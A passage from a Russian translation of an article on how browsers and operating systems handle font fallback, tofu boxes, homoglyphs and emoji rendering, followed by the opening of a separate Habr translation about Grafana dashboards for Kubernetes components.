Тем не менее, вы бы удивились, насколько чаще бы вы их видели, если бы не существовало целой невидимой, впечатляющей и неординарной системы, «прикрывающей спину» каждого шрифта.
### Font fallback, который вы знаете и любите (qɯǝɓиʚɐнǝн)
Явление font fallback большинству из нас известно по вебу. Оно выглядит примерно так:
```
font-family: Joanna, Helvetica Now, Helvetica, Arial, sans-serif;
```
Подоплека проста: данный список передаёт браузеру цепочку команд. «Для рендеринга этого элемента используй шрифт под названием Joanna. Если у тебя его нет, используй Helvetica Now. И его нет? А как насчёт старой версии Helvetica? Тоже не находится? Ладно, тогда просто возьми Arial. Нет Arial? Боже. Возьми тогда любой стандартный шрифт без засечек (sans serif), который можешь порекомендовать».
Первый шрифт из списка обычно является веб-шрифтом, скачиваемым вместе с самим веб-сайтом. Если загрузить его не удаётся, или на это требуется слишком много времени, выбираются следующие несколько рекомендованных шрифтов, уже популярных у пользователей или устанавливаемых в разных операционных системах.
Первый шрифт является наилучшим сценарием. С каждым шагом вглубь списка мы приближаемся к fallback и к бо́льшим компромиссам. Мы можем почти услышать всё более громкие вздохи дизайнера веб-сайта, постепенно теряющего контроль — от идеально подобранного, часто уникального шрифта, должного представлять бренд или настроение сайта, мы переходим ко всё более стандартным шрифтам — да, разумеется, они надёжны, но не так красивы.
Font fallback существовал [с самого возникновения CSS](https://www.w3.org/TR/CSS1/#font-family), потому что его создатели понимали, что никогда в истории на всех компьютерах не было одинакового набора шрифтов.
За исключением списка шрифтов, CSS font fallback не даёт веб-дизайнеру контроля над font fallback: никакой информации о том, какой шрифт был в конечном итоге выбран, никаких настроек размера, толщины или интервала между символами. Как ни грустно это говорить, но такого контроля нет и сегодня. Единственным значимым изменением стало добавление ещё нескольких общих слов для шрифтов UI, набравших популярность только за последний десяток лет (один из примеров — system-ui, который имеет собственную [кошмарную историю font fallback](https://medium.design/system-shock-6b1dc6d6596f?gi=e28dfa48756f)).
Но даже несмотря на то, что font fallback кажется старым и упрощённым, вас могут удивить два аспекта. Во-первых, он работает не на уровне шрифта, а на уровне символа. Во-вторых, то, что вы объявляете в CSS, является только небольшой частью font fallback.
### Шрифты как трафареты
Работа на уровне символов означает, что браузер или операционная система проходит всю цепочку font fallback для каждой отдельной буквы, которую вы просите их вывести. Если в шрифте нет этого конкретного символа, то проверяется следующий шрифт в списке, и так далее.
Давайте возьмём тот же список, но немного упрощённый:
```
font-family: Joanna, Helvetica Now, Helvetica, Arial;
```
Версия Joanna на моём компьютере содержит 261 глиф, покрывая несколько близких алфавитов, но почти ничего больше в ней нет. У меня нет Helvetica Now, так что можно его пропустить. В традиционной Helvetica есть аж целых 2 252 глифа, которые покрывают символы кириллицы, грузинского и вьетнамского, плюс математические символы и символы валют. Но с Arial всё ещё лучше. Этот бастард Helvetica, над которым мы часто подсмеиваемся, содержит более 3 300 глифов, превосходя Helvetica в поддержке иврита, арабского и… [псевдографики](https://en.wikipedia.org/wiki/Semigraphics).
Если бы я попросил свой браузер вывести предложение на нескольких языках при помощи показанного выше списка font fallback, то оно бы отобразилось так:
Это предложение выглядит некрасиво и иллюстрирует часть проблем ограниченного контроля над font fallback. Немецкий никак не пострадал, несколько дополнительных букв с умляутами и экономность алфавита обеспечили его наличие даже в небольших шрифтах. Однако русский в Helvetica и иврит в Arial выглядят чужеродно, слишком крупными и жирными, а польский справляется ещё хуже, обращаясь к Helvetica только за одной из четырёх своих букв.
Однако если сравнивать с приведёнными выше примерами, то предложение хотя бы *читаемо*. Прямоугольники, которые проектировщики шрифтов часто ласково называют «тофу» (а все остальные обзывают их непечатно), теперь нигде не проявляются.
Если бы у нас был полный контроль над текстом, то мы могли бы выбирать каждый отдельный символ и назначать для его обслуживания конкретный шрифт, благодаря чему всё выглядело бы безупречно. Но нам не приходится этого делать. А во вселенной веба, где текст может прийти откуда угодно и в *любой момент*, мы бы и не *хотели* заниматься подобным.
*Переключение между двумя шрифтами, для каждого из которых в качестве fallback font выбрана Helvetica*
Тщательная настройка списка font fallback шрифтами наподобие Helvetica и Arial или другими популярными шрифтами, оснащёнными тысячами глифов — отличный способ не только сохранить стиль, но и обеспечить покрытие глифами. Мне иногда помогает то, что я представляю шрифты как трафареты — каждый из них готов поймать столько букв, сколько сможет, но все они содержат множество отверстий. Цепочка font fallback позволяет следующему шрифту ловить буквы, оставшиеся от предыдущего, и так далее:
Но тут присутствует и ещё одна неожиданность, которую вы уже могли заметить. Ни один из шрифтов, перечисленных мной в поддержке font fallback, не поддерживает язык малаялам. Как ни один и не содержит эмодзи. Так как же и то, и другое всё-таки рендерится в виде значимых глифов, а не в виде тофу?
Оказывается, что когда вы заканчиваете свой список font fallback, ваш браузер или операционная система втихомолку добавляет вам в помощь ещё более десятка шрифтов, в том числе некоторые шрифты, созданные специально для этой цели.
### Бескрайнее море символов
Если Arial с его 3 300 символами показался вам впечатляющим, то как насчёт масштаба всего Unicode? Современная редакции повсеместно принятого стандарта, определяющего способ кодирования каждого символа цифровой связи, [содержит более 140 000 символов](https://unicode.org/charts/). В завтрашней их будет ещё больше.
Это впечатляющее число по сравнению с системами первых компьютеров, которые с трудом могли справиться с 63, 127 или, если повезёт, с 255 символами. Но это выглядит логично, если считать, что Unicode должен покрывать 150 различных видов письма (от вездесущей латыни до загадочных письмен наподобие [древнепермского](https://en.wikipedia.org/wiki/Old_Permic_script) — адаптации кириллицы 14-го века, пользоваться которым прекратили 400 лет назад) и десятки тысяч символов (среди них сотни стрелок, математических символов, костяшек домино, алхимических знаков и египетских иероглифов, а также их современная реинкарнация — эмодзи).
Для дизайнера шрифтов задача отрисовки 140 тысяч глифов была бы жестокой, выматывающей, невыносимой. И даже если бы кто-то решился на это, то получившийся файл шрифта оказался бы таким огромным, что его невозможно было бы загрузить.
Но если ни один шрифт не содержит всех символов, то для веб-дизайнера альтернатива становится ужасающей. Представьте, каково было бы подбирать шрифты для Википедии — нам бы пришлось искать разные шрифты для различных частей Unicode, запоминать, что делает каждый из них, время от времени обновлять их, поддерживать огромную цепочку font fallback, и так далее.
Чтобы всего этого не пришлось делать вам, это берут на себя операционная система и браузер. Они реализуют это, создавая очередь из множества шрифтов, заставляя их отлавливать все символы, не поддерживаемые вашей цепочкой font fallback.
Вот пример — список из четырёх шрифтов на моём Mac скрытно расширяется примерно до такого:
```
font-family: Joanna, Helvetica Now, Helvetica, Arial, Menlo, Monaco, .AppleSymbolsFB, LucidaGrande, CourierNewPSMT, GeezaPro, NotoNastaliqUrdu, Ayuthaya, Kailasa, PingFangSC, PingFangTC, HiraginoSans-W3, HiraginoSansGB-W3, PingFangHK, AppleSDGothicNeo, KohinoorBangla, KohinoorDevanagari, KohinoorGujarati, MuktaMahee, NotoSansKannada, KhmerSangamMN, LaoSangamMN, MalayalamSangamMN, NotoSansMyanmar, NotoSansZawgyi, NotoSansOriya, SinhalaSangamMN, TamilSangamMN, KohinoorTelugu, NotoSansArmenian, EuphemiaUCAS, STIXGeneral, Galvji, Kefa, .NotoSansUniversal, AppleColorEmoji, .LastResort;
```
Для Windows ситуация похожая:
```
font-family: Joanna, Helvetica Now, Helvetica, Arial, Tahoma, Segoe UI, Segoe UI Historic, Segoe UI Symbol, Segoe UI Emoji, Cambria Math, Abyssinica SIL, DaunPehn, David, DokChampa, Ebrima, Estrangelo Edessa, Ethiopia Jiret, Gadugi, GF Zemen Unicode, Gulim, Han Nom A, Javanese Text, Lao UI, Leelawadee UI, Kartika, Khmer UI, Malgun Gothic, Mangal, Meiryo, Microsoft New Tai Lue, Microsoft YaHei, Mongolian Baiti, MoolBoran, MS PGothic, Myanmar Text, Nirmala UI, Nuosu SIL, Nyala, Phetsarath OT, Plantagenet, PMingLiU, Raavi, Saysettha OT, Shruti, Simsun, Sylfaen, Tunga, Visual Geez Unicode, Vrinda, WenQuanYi Zen Hei, Yu Gothic, Arial Unicode MS, Code2000;
```
Многие из этих шрифтов отвечают за покрытие определённой локали — допустим, NotoSansMyanmar и Myanmar Text занимаются бирманским алфавитом, а у других есть более специфические задачи. Apple Symbols поможет вам разобраться со всем от шрифта Брайля и нотной записи до древних символов из прошлого Apple:
*Примеры глифов из Apple Symbols*
С другой стороны, Segoe UI Historic содержит почти 5 000 глифов по-настоящему древних письмен — клинописи, иероглифов и рукописных, наподобие парфянского, которые исчезли задолго до появления бумаги:
*Примеры глифов из Segoe UI Historic*
Существуют и шрифты, отвечающие за все эмодзи — AppleColorEmoji на Mac и Segoe UI Emoji на Windows, уникальные среди остальных шрифтов тем, что имеют цвета.
И хотя я только что сказал, что создание шрифта для покрытия всего Unicode будет выматывающей и невозможной задачей, некоторые дизайнеры шрифтов оказались достаточно смелыми, чтобы с ней справиться. Где-то среди представленного выше тайного списка font fallback встречаются и монументальные шрифты с десятками тысяч глифов по много мегабайтов каждый — шрифты наподобие Arial Unicode, [Unifont](https://unifoundry.com/unifont/index.html), [Code2000](https://en.wikipedia.org/wiki/Code2000) или [Noto](https://www.google.com/get/noto/) (сокращение от "*no to*fu"). Их предназначение — быть последним необходимым трафаретом и улавливать как можно больше оставшихся символов.
*Количество глифов в шрифтах*
Эти шрифты — последние истинные шрифты, к которым выполняются запросы, самая большая страховочная сетка на дне font fallback:
Должен признать, что представленные выше два списка немного упрощены. Некоторые шрифты появляются в них только для определённого языка, а другие fallback-шрифты используются только в парах, чтобы, например, fallback-замена для шрифта без засечек тоже выглядела как шрифт без засечек. В определённых обстоятельствах некоторые шрифты даже незаметно выдают себя за другие. (Например, в некоторых дистрибутивах Linux шрифт под названием [Liberation Sans](https://en.wikipedia.org/wiki/Liberation_fonts) притворяется Arial и втихомолку занимает его место!)
Но в основном принцип остаётся одинаковым, поэтому мы не будем вдаваться в подробности, чтобы вас не утомить.
### Два font fallback, сидящих на дереве рендеринга
Это наконец-то объясняет, что именно произошло, когда мы в последний раз попросили браузер подобрать шрифты для предложения — когда все указанные шрифты сдались, на помощь пришли два потайных шрифта:
*«The English word turtle translates to Schildkröte in German, żółw in Polish, черепаха in Russian, צָב in Hebrew, and ആമ in Malayalam».*
Другими словами, мы покинули территорию тофу:
Такой двойной font fallback существует для миллиардов повседневных случаев, когда отсутствует только несколько символов, но ничто не мешает вам набирать небольшие шедевры — предложения растянувшиеся на миллионы лет и тысячи километров:
*[Прим. пер.: на этом моменте статьи выяснилось, что редактор статей Хабра при сохранении обрывает текст на непонятных ему символах, в частности, на иероглифах и эмодзи. Ниже я попытался исправить ситуацию, вставляя эмодзи картинками, а математические обозначения через разметку LaTeX.]*
Вы не просто можете это прочитать. Вы можете скопировать и вставить этот текст в текстовый редактор или на веб-сайт без CSS… и даже если вы вообще ничего не знаете о типографике, втайне от вас на помощь придут шесть разных шрифтов.
Разумеется, совместно трудящиеся в показанном выше предложении семь шрифтов по-прежнему остаются шрифтами. У всех них есть своя предыстория, их параметры визуально могут казаться разными (стоит помнить, что размер шрифта — [это больше идея, чем строгий критерий](https://medium.engineering/typography-is-impossible-5872b0c7f891)), а если один из них окажется выше остальных, то браузеры увеличат высоту всей строки, чтобы он поместился. Это объясняет, почему при вставке эмодзи в текст строки иногда разъезжаются — эмодзи не поддерживается основным шрифтом, поэтому он откатывается к шрифту наподобие Apple Color Emoji, а этот шрифт имеет слегка большую высоту, чем используемый вами.
*Даже полностью пустой символ, например, узкий пробел, может опустить базовую строку, если он приводит к откату к другому шрифту*
Но за исключением этих проблем всё работает, и работает на удивление хорошо. Настолько хорошо, что мы стали безрассудно смелыми при работе с текстом.
### Хаки и омоглифы
Неудивительно, что среди 140 000 символов можно ожидать частичную визуальную повторяемость. Языки и письмена эволюционировали хаотичным образом, сходились и расходились без планирования, заимствовали друг у друга и противоречили друг другу.
Даже в английском люди путают O (oh) с 0 (нулём). Кроме того, часть кириллицы выглядит в точности как латиница, а часть латиницы может притворяться греческим. Вы можете написать сообщение «ОΟO» (out-of-office, «нет на месте») творчески, как это только что сделал я — одну букву на латинице, одну — на греческом, и ещё одну на кириллице, и часто никто их не разберёт. Сам по себе круг является столь универсальной формой, что его многократное появление в Unicode неудивительно: в виде ◯, и ○, и ◌, и ⥁, и многих других символов — как можно догадаться, есть и другие подобные простые формы. В типографике, как это часто бывает, у такого есть специальное название: похожие друг на друга глифы называются [*омоглифами*](https://en.wikipedia.org/wiki/Homoglyph).
Более того, Unicode также использует набор стилизованных алфавитов латиницы. Многие пришли из математики, где разные формы букв имеют разное применение: названия операторов, константы, углы, преобразования, тензоры. Их отдельное включение в Unicode имеет смысл с точки зрения семантики — в конечном итоге, математическая переменная *a* отличается от вектора **a**, а множество  не стоит путать с матрицей ***A***. Но решение об их включении в шрифт имело свои последствия. Из-за всех этих специальных алфавитов кажется, что сам Unicode содержит *шрифты*.
*Примеры разных алфавитов математики, служащие разным целям*
Одно из благословений и проклятий типографики заключается в том, что самим символам не позволяется иметь своё мнение о том, как их нужно использовать. Поэтому омоглифы часто используются [с вредоносными намерениями](https://en.wikipedia.org/wiki/IDN_homograph_attack), а бывает, что и творчески. Далёкий от математики я могу взять несколько символов, которые должны представлять математические множества, и написать  просто потому, что это выглядит круче, чем Marcin. Аналогично, я могу написать , не зная ничего о теории чисел, , не намереваясь возводить в степень, или , если мне так захочется.
Это ведь ещё и очень легко. Тот факт, что многие буквы выглядят похоже, используется на веб-сайтах наподобие [Unicode Text Converter](https://qaz.wtf/u/convert.cgi?text=Figma), которые позволяют быстро «стилизовать» текст, находя символы Unicode, выглядящие идентичными или похожими на нужные вам буквы.
*Пример слова Figma, выраженного в разных «стилях»*
Это довольно креативный визуальный набор, похожий на использование древней буквы ᴥ для создания медвежьего носа в ʕ •ᴥ•ʔ или символа японской катаканы ツ в знаменитом эмотиконе ¯\\_(ツ)\_/¯.
Подобные виды типографических хаков кажутся особенно полезными на сайтах типа Twitter или Facebook, не позволяющих менять шрифты, или даже применять жирное или курсивное начертание в том шрифте, который они дают пользователю:
Но у каждого хака есть своя цена. Весь текст, который вы видите на компьютере, предназначен не только для человеческих глаз. «Перестилизованный» текст может казаться похожим, но его настоящее значение может сильно отличаться.  часто бывает невозможно найти с помощью поиска, это слово становится препятствием для людей, использующих программы чтения экрана (они объявляют каждую букву как «математическую букву M», «математическую букву a», и так далее) и… да, вы уже поняли, что мы движемся к этому: подобные стилизации подвержены превратностям font fallback.
Дело не только в том, что популярные шрифты не содержат математических символов или специализированных алфавитов. Буквы некоторых из показанных выше «стилей» прыгают между разными частями Unicode. И поэтому большинство из них откатывается к каким-то шрифтам глубоко внутри системы, а поскольку font fallback так сильно различается на разных платформах, мы никак не сможем точно узнать, как всё будет выглядеть на другой стороне. Вот пример:
*Текстовые «стили», отрендеренные в macOS и в Windows*
Как типографист, я оплакиваю подобную ситуацию, а как заботящийся о доступности информации, я бы рекомендовал не использовать специальные «шрифты» вне рамок математики. Но как и в случае со словом turtle или иероглифами, есть нечто прекрасное в совместных усилиях пяти шрифтов, благодаря которым вы можете видеть простой эмотикон переворачивания стола — это сочетание нескольких символов отрисовки прямоугольников, двух индийских символов, одной древней буквы латиницы, одного символа из японского и одних китайских скобок:
Это также объясняет и то, что если бы вам позволялось менять шрифт, в подобных ситуациях это бы ничего особо не меняло. Поскольку многие из символов берутся из fallback-шрифтов, расположенных ниже по невидимой цепочке, мы можем контролировать только несколько букв «на поверхности»:
Большинство людей, принимающих участие в подобной типографической гимнастике, даже не понимает, что так происходит, и что их конструкции могут у кого-то другого выглядеть сильно иначе. А на некоторых компьютерах, особенно на старых, с менее продвинутым font fallback, один из странных символов будет откатываться вниз, пока больше не сможет спускаться — и несмотря на общие пожелания, несмотря на все невидимые страховочные сетки, несмотря на совместные усилия шрифтовиков, работающих над шрифтами наподобие Arial Unicode и Noto, он превратится в зловещий прямоугольник.
### Последняя надежда последней надежды
Что произойдёт, если вы запросите нечто, чего нельзя отобразить? Например, символ, о владении которым не заявляет ни один шрифт? Или глиф, который ваш телефон никогда раньше не видел? После всего того, что мы увидели, вас не должно удивлять, что ответом будет «это зависит от многого».
Когда символ пролетает сквозь все трафареты и падает на дно, некоторые платформы решают не отрисовывать ничего. (Этот путь выбрал наш сайт Figma. Кстати, он откатывается только к шрифтам Noto. Он делает это вне зависимости от платформы, на которой используется — [принцип тот же](https://www.figma.com/blog/line-height-changes/), что мы использовали для высоты строк, и по той же причине.) Другие платформы доходят от первого шрифта, который вы запросили, вплоть до тофу-символа **.notdef**.
Но существуют и другие способы. Некоторые ресурсы обрабатывают сбои fallback самостоятельно и полностью независимо от шрифтов. Firefox на мобильных телефонах отрисовывает серый прямоугольник, а его настольный аналог отрисовывает прямоугольник… с кодом Unicode внутри — отлично для нердов, но, вероятно, напряжно для всех остальных:
(Если вам любопытно, то ваш браузер отрисует это так: .)
Но есть хитрость. Как вы могли заметить выше, в самом конце цепочки fallback macOS добавляет секретный шрифт с красивым названием .LastResort (".ПоследняяНадежда"). Это шрифт, имеющий очень простую задачу: изящную демонстрацию неудачи. Его миссия в том, чтобы отрисовывать неизменно красивый квадрат со знаком вопроса, и делать это для всех и каждого символа, который вы попросите вывести.
Это единый отсутствующий символ, чтоб всеми править, хорошо сбалансированный вопросительный знак внутри скруглённого прямоугольника. Благодаря тому, что он последний в цепочке, этот символ будет показываться вместо каждого отсутствующего, вне зависимости от необходимого вам шрифта, игнорируя пожелания **.notdef** его дизайнера.
*.LastResort в ПО рисования шрифтов. Обратите внимание, что даже в этом шрифте есть символ .notdef. Придумывание ситуации, когда этот глиф вообще может быть использован, останется в качестве упражнения для читателя.*
Обеспечение постоянства внешнего вида тофу — это очень в стиле Apple, но этот способ показывает нам и ещё одну возможность. Если нас интересует контроль за font fallback, существует по крайней мере один простой способ: всегда можно поместить ловящий все символы шрифт в самый конец цепочки fallback. Такие шрифты, как можно догадаться, называются [*fallback fonts*](https://en.wikipedia.org/wiki/Fallback_font), и их существует несколько: [Adobe NotDef](https://github.com/adobe-fonts/adobe-notdef) (отрисовывает неизменяемый тофу), [Adobe Blank](https://github.com/adobe-fonts/adobe-blank) (ничего не отрисовывает) и [предыдущая версия Last Resort](https://unicode.org/policies/lastresortfont_eula.html), которая пытается действительно помочь вам, показывая по крайней мере ту область Unicode, откуда взят символ.
*Предыдущая версия шрифта Last Resort пыталась помочь, отображая «тип» символа. Обратите внимание, что этот шрифт имеет свой собственный .notdef, который мы никогда не должны увидеть по определению.*
Fallback fonts похожи на автобус, подбирающий самых медленных марафонцев, когда улицу снова нужно открыть для дорожного движения — на этом этапе вопрос уже скорее не в завершении забега, а в предотвращении катастрофы:
### Убийство символов
Вселенная типографики имеет и собственные катастрофы, и это переносит нас к ещё одному символу, который вы можете узнать. Он имеет скучное название — [Replacement Character](https://en.wikipedia.org/wiki/Specials_(Unicode_block)#Replacement_character), и выглядит так: �. Он приходит на сцену, когда ситуация становится ужасной. Он не связан с font fallback, но ради полноты объяснения нужно рассказать и о нём.
Replacement Character чаще всего используется для того, чтобы сообщить вам, что [с данными что-то не то](https://en.wikipedia.org/wiki/Mojibake), что в самих числах нет смысла. Если в числах нет смысла, то нет и смысла сохранять их, поэтому символ � отличается от **.notdef** тем, что имеет собственный код Unicode: увидев его, вы можете копировать и вставлять этот символ.
Забавно, что сам � следует обычным правилам fallback, и хотя он не столь обязателен, как **.notdef**, некоторые дизайнеры шрифтов добавляют и его. Это означает, что некоторые шрифты могут сообщить вам, что понятия не имеют, что делать с вашим запросом, двумя способами: ответив **.notdef**, если вы запрашиваете что-то, чего они не могут предоставить, и �, если вы спрашиваете так, что они не понимают.
Также это может значить, что в разных условиях � способен выглядеть слегка по-разному, хотя и дикой креативности, развернувшейся с **.notdef**, здесь и близко нет:
*Символы Replacement Character из разных шрифтов, воспроизведённые с одинаковым размером шрифта*
### Подробно об эмодзи
Итак, вот что у нас есть. Множественные версии **.notdef**, официальные и секретные font fallback, шрифт .LastResort с его прилизанным вопросительным знаком и ещё один вопросительный знак, означающий нечто совершенно иное. Но есть ещё одна вещь, которая делает всё это ещё страньше, эта вещь появилась не так давно и сделала типографику для всех ещё сложнее.
Да, в каком-то смысле эмодзи очень просты. Нет ни разных письмен, ни различных языков, ни жирного, ни курсивного начертания. Все эмодзи в вашем компьютере обычно обслуживаются одним большим шрифтом.
Однако эмодзи уникальны по крайней мере в двух аспектах. Во-первых, они меняются, и часто. Похоже, что каждый год появляется около сотни новых эмодзи и несколько обновлений уже существующих. На момент написания статьи выпуск последней версии, Emoji 13.0, [был объявлен в начале 2020 года](https://blog.emojipedia.org/whats-new-in-unicode-13-0/). Сама она содержала 117 новых эмодзи. А сейчас уже [формируется](https://emojipedia.org/emoji-13.1/) Emoji 13.1 с такими претендентами на попадание в стандарт, как «сердце в огне» и «лицо в облаках». А ещё мы уже знаем, что о выпуске Emoji 14.0 будет объявлено примерно через год. Для типографики, привычной к таким единицам измерения, как тысячелетие, эмодзи развиваются с беспрецедентной скоростью.
Как и любой другой глиф, эмодзи следует правилам font fallback. Как мы видели выше, платформы втайне добавляют в цепочку шрифт эмодзи. И вы даже можете представить установку различных шрифтов эмодзи на компьютер, а также выполнение этого традиционным способом:
```
NotoEmoji, AppleColorEmoji, JoyPixels;
```
*Гипотетическая цепочка fallback эмодзи, отдающая приоритет старым файлам эмодзи (Noto Sans Emoji) с меньшим покрытием эмодзи, создаёт странное явление отката к другому, более новому набору эмодзи (Joy Pixels)*
На практике мы не наблюдаем этого часто потому, что шрифты эмодзи, являющиеся разноцветными, а иногда даже растровыми, тяжелее, чем даже Arial Unicode и Code 2000, и иногда используют странные новые форматы шрифтов. (Шрифт эмодзи Apple на моём компьютере весит более 200 мегабайт, почти столько же, сколько несколько *тысяч* типичных западноевропейских шрифтов.)
Что ещё важнее: шрифт эмодзи в вашей операционной системе обычно является самым новым, поэтому откат к более старому шрифту не имеет особого смысла. Но головокружительная скорость развития эмодзи означает, что за ней не успевают даже операционные системы. Сегодня вы можете отправить мне текстовое сообщение с ниндзя (), пикапом () и мухой (). Это было бы очень странное текстовое сообщение… но судить об этом я смог бы на своём телефоне, потому что мой компьютер пока не способен рендерить эти три эмодзи версии 13.0.
Если шрифту эмодзи в цепочке fallback не удаётся отловить новое эмодзи, то это часто означает, что ни один другой шрифт тоже не сможет его обработать, и эмодзи отрендерится как вопросительный знак или тофу.
Однако такого не происходит. Это ещё один странный аспект эмодзи: всё большее их количество становится составным, возникающим как несколько отдельных символов, склеенных невидимыми символами под названием [zero-width joiners](https://emojipedia.org/zero-width-joiner/). Что такое новое эмодзи с чёрной кошкой? Это символ кошки, склеенный с символом большого чёрного квадрата. Что такое белый медведь? Медведь плюс эмодзи снежинки. Женщина в смокинге — это человек в смокинге, за которым идёт модификатор женского рода. (Но не стоит ожидать в этом последовательности: женщина-пожарный — это эмодзи женщины + эмодзи пожарного автомобиля.) А что такое два держащихся за руки мужчины, один чёрный, другой европеоид? Внутри эта эмодзи состоит из пяти символов: мужчины, символа тёмного оттенка кожи, рукопожатия, ещё одного мужчины и светлого оттенка кожи; кроме них есть ещё два невидимых соединителя.
На новом компьютере, содержащем все необходимые глифы эмодзи и рецепты по их сборке, такие эмодзи выглядят идеально. А на других? Вместо тофу вы можете увидеть отдельные части составных эмодзи, которые для кого-то будут полезны (увидев мужчину в смокинге и рядом с ним символ женского рода, можно представить значение эмодзи), а кого-то будут сбивать с толку:
*Различные эмодзи, отрендеренные на компьютерах в разное время*
Но даже несмотря на полезность, эта система (разумеется!) всё равно будет несогласованной: любое новое *несоставное* эмодзи откатится к прямоугольнику **.notdef** или вопросительному знаку последней надежды.
### Per aspera ad astra
Есть исторический символ, который я очень люблю. Это двоюродный брат @ — символа "[коммерческого at](https://shadycharacters.co.uk/2011/07/the-symbol-part-1-of-2/)", получивший в Интернете новую жизнь. Однако его история более трагична.
Мой любимый символ, называемый «per» когда-то был полной противоположностью @: можно купить **5 яблок @ 10 центов за яблоко** или заплатить **10 центов ⅌ яблоко**. ⅌ был гораздо более общим, а значит, потенциально более полезным, чем его более конкретные родственники: процент (%) и промилле (‰). И, по крайней мере, на мой взгляд, он был более красивым, чем амперсанд (&).
Но @ повезло, а ⅌ — нет. В конце 19-го века только малое число производителей новомодных пищущих машинок решило поддерживать этот символ. Некоторые люди, расстроенные этой ситуацией, брались за перо:
*Символ Per, напечатанный на пишущей машинке Hammond и вписанный от руки*
Но другие производители совершенно прекратили поддерживать этот символ.
Сегодня сложно понять наверняка, ускорили ли пищущие машинки закат ⅌, или этот символ в любом случае угасал. Тем не менее, я восхищаюсь людьми, державшимися за него и вписывавшими его от руки, точно так же, как я восхищаюсь теми, кто делает нечто подобное сегодня, когда их подводят шрифты; по сути, они реализуют собственный font fallback:
*Пара примеров font fallback в реальной жизни: бордюрная типографика в Сан-Франциско и номер дома*
Однако Интернет не оставляет шансов людям с карандашом. Текст движется слишком быстро и путешествует слишком далеко, а шрифты меняются слишком часто, чтобы можно было сохранять старые правила набора.
Невидимый щит font fallback приходит на помощь в подобных ситуациях, однако он имеет странные побочные эффекты — прямоугольники тофу, разобранные на части эмодзи, странные шрифты в Twitter, неприятный сдвиг шрифтов, вопросительные знаки в неожиданных местах. Надеюсь, загадки, с которых мы начинали, теперь кажутся вам менее загадочными.
И на пути исследований у вас есть помощники. Даже если вы не видите символ, всегда можно скопировать и вставить его в поисковой движок. Превосходный веб-инструмент под названием [FontDrop!](https://fontdrop.info/) позволяет перетаскивать шрифт и просматривать все его глифы (в том числе и **.notdef**). А среди браузеров вам решил протянуть руку помощи Chrome — если вы ожидаете элемент, то можете увидеть, не только какие шрифты должны прийти на помощь в CSS, но и какие шрифты *конкретно* проделали всю работу:
*Панель Chrome для предложения с шестью дополнительными fallback font, которые мы видели выше*
Как всегда в случае с font fallback, мы можем ожидать получения результата с другой стороны. Но при отправке текста нам в основном приходится только надеяться. И когда я пишу эту статью, то понятия не имею, отобразится ли на вашем компьютере эмодзи  или символ ⅌ во всём своём великолепии 21-го или 19-го века, или они отрендерятся как тофу, или как один из трёх разных вопросительных знаков, или не отобразятся вовсе.
*Три вопросительных знака, которые вам могут встретиться: .LastResort, Replacement Character в San Francisco, и .notdef из одного конкретного шрифта. Надеюсь, теперь вы будете понимать, какой из них что означает, и почему вы их видите.*
Возможно, вы сообщите мне об этом в комментариях. Но, по крайней мере, я буду знать, что на моём компьютере только один из сотен установленных мной шрифтов содержит один глиф, необходимый для отображения ⅌, и, аналогично, только один, знающий, как рендерить ниндзя. Мне не нужно знать, какие это шрифты. Всё просто *работает*. Как не должен я этого знать в случае любого из 140 тысяч других символов, которые я могу напечатать на своём компьютере.
То, что это возможно, то, что мне всегда может прийти на помощь легион шрифтов, кажется небольшим чудом. А то, что иногда кто-то может всё равно увидеть тофу, красивый вопросительный знак или отдельный модификатор оттенка кожи — всего лишь небольшая цена за такое удобство. | https://habr.com/ru/post/521740/ | null | ru | null |
# Панели Grafana для администрирования Kubernetes
Всем привет! Сегодня мы продолжаем делиться материалом, переведенным специально для студентов курса [«Инфраструктурная платформа на основе Kubernetes»](https://otus.pw/SHOQ/). Приятного прочтения.
Введение
--------
Уже какое-то время я экспериментирую с созданием информационных панелей Grafana для администрирования Kubernetes. Как владельцу и администратору нескольких кластеров Kubernetes мне хотелось получить визуальное представление некоторых показателей. Во-первых, мне нужны нормальные информационные панели Grafana для компонентов Kubernetes Control Plane и Node: *kube-api, kube-scheduler, kube-controller-manager, а также kubelet и kube-proxy*. Во-вторых, получившиеся панели хотелось бы выложить на GitHub, чтобы остальные могли оставлять предложения и отчеты об ошибках (issues), посылать запросы на принятие изменений (pull requests), обновлять панели (git pull) и помогать мне в работе над ними.
Публикация информационных панелей Grafana
-----------------------------------------
Сейчас панели Grafana в основном публикуются на странице [grafana.com/dashboards](https://grafana.com/dashboards). Чтобы получить нужную панель, надо найти ее на странице, скопировать идентификатор и импортировать его в локальный экземпляр Grafana. Хотя импорт информационных панелей реализован относительно просто, опыт показывает, что большинству пользователей неудобно с ними работать. На то есть несколько причин.
Во-первых, люди пользуются разными селекторами меток для указания целей мониторинга в Prometheus. Во-вторых, в новых версиях экспортеров Prometheus и приложений для обращения к метрикам имена метрик постоянно меняются и удаляются. В-третьих, найти действительно качественные информационные панели крайне тяжело — никогда не знаешь, что в конечном итоге получишь после импорта. Выбрав панель, приходится прочесывать все графики и править метрики вместе с селекторами меток — а это большой объем ручной работы.
Проект Monitoring Mixins
------------------------
Я нашел очень классный проект под названием [Monitoring Mixins.](https://docs.google.com/document/d/1A9xvzwqnFVSOZ5fD3blKODXfsat5fg6ZhnKu9LK3lB4/edit#) По сути это своеобразная экосистема, призванная побороть все наболевшие проблемы панелей. Идея пришла в голову [Фредерику Бранчику](https://twitter.com/fredbrancz) (Frederic Branczyk), и именно он написал [исходный дизайн-документ](https://docs.google.com/document/d/1A9xvzwqnFVSOZ5fD3blKODXfsat5fg6ZhnKu9LK3lB4/edit), с которым я настоятельно рекомендую ознакомиться. Более того, он продумал реальный механизм обновления информационных панелей и их извлечения из различных репозиториев GitHub. Этот механизм весьма похож на `go get` , и мне он очень понравился. [Здесь](https://docs.google.com/document/d/1czRScSvvOiAJaIjwf3CogOULgQxhY9MkiBKOQI1yR14/edit) вы можете прочесть краткое описание менеджера пакетов [jsonnet-bundler](https://github.com/jsonnet-bundler/jsonnet-bundler), использующего этот механизм. Огромное спасибо [Фредерику](https://twitter.com/fredbrancz) за полезные разработки!
Пакет Kubernetes Grafana Mixin
------------------------------
Если вы дочитали до этого места, можете немного передохнуть и насладиться красивыми картинками.
#### Сервер API
*Информационная панель сервера API Kubernetes*
#### Менеджер контроллеров
*Информационная панель менеджера контроллеров Kubernetes*
#### Планировщик
*Информационная панель планировщика Kubernetes*
#### Кублет (агент узла)
*Информационная панель кублета Kubernetes*
*Информационная панель кублета Kubernetes*
#### Kube Proxy
*Информационная панель Kube Proxy*
Использование пакета Kubernetes Grafana Mixin
